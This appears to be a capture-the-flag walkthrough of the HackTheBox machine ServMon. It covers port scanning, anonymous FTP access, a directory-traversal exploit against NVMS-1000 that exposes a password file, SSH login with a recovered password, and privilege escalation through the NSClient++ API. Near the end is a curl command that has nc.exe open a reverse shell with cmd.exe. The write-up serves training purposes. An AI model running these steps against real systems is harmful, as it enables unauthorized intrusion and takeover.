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ServMon HacktheBox Walkthrough

In this article we are going to solve another boot2root challenge Servmon from hackthebox .


IP of the target

we started with nmap to find open ports and services running in the system by using the command

nmap -sC -sV -o nmap.txt
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp   open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
|     <html xmlns="">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time

as we can see that so many ports are open , so first of all we decided to login anonymously into FTP using credentials anonymous anonymous

now here we found two Users "Nadine" and "Nathan" , and after enumerating more we found two important text files , we downloaded them in our local system , now lets try to read them.

Information extracted :-

[+] user names : Nathan and Nadine

[+] passwords.txt file stored in Desktop directory

[+] NVMS web application is present

now our next step is to enumerate port 80 .

we have a NVMS-1000 login panel and some common username and password didn't worked , so we started to search for nvms-1000 exploit and found one using the command

search nvms

with the Description as "Directory Traversal" we got one thing clear that we have password.txt and usernames and a Desktop directory so there are chances that we can extract the passwords.txt file using this exploit , okay lets try

okay we have got something , lets try to read the file using cat command

umm looks interesting we have got a list of passwords and we have two users also as "Nadine" and "Nathan" , and SSH Port is also open , so we can try these passwords against two users to check if we are on right path or not.

okay we have found the password for user nadine as "********" , now I tried this password to connect to the system as user nadine using ssh

ssh nadine@

we are in now as user nadine and can read the user flag and it's time for privilege

escalation :)

we started searching in different directories and found something useful

lets try to read the file using type command ;)

it means only is allowed to use nsclient++ and not any other IP , so after this we have two methods to get admin access , one is using the Port forwarding and then following the NSClient++ exploit and another one is to use the nsclient++ api(easy way) and of-course we preferred the easy way :)

first of all we will transfer nc.exe to /tmp directory .

curl -s -k -u admin -X PUT --data-binary "c:\temp\nc.exe 1234 -e cmd.exe"
curl -s -k -u admin

after executing these commands we get the reverse shell as admin

we can read the final flag now and this completed our challenge , Hope you like the walkthrough :)


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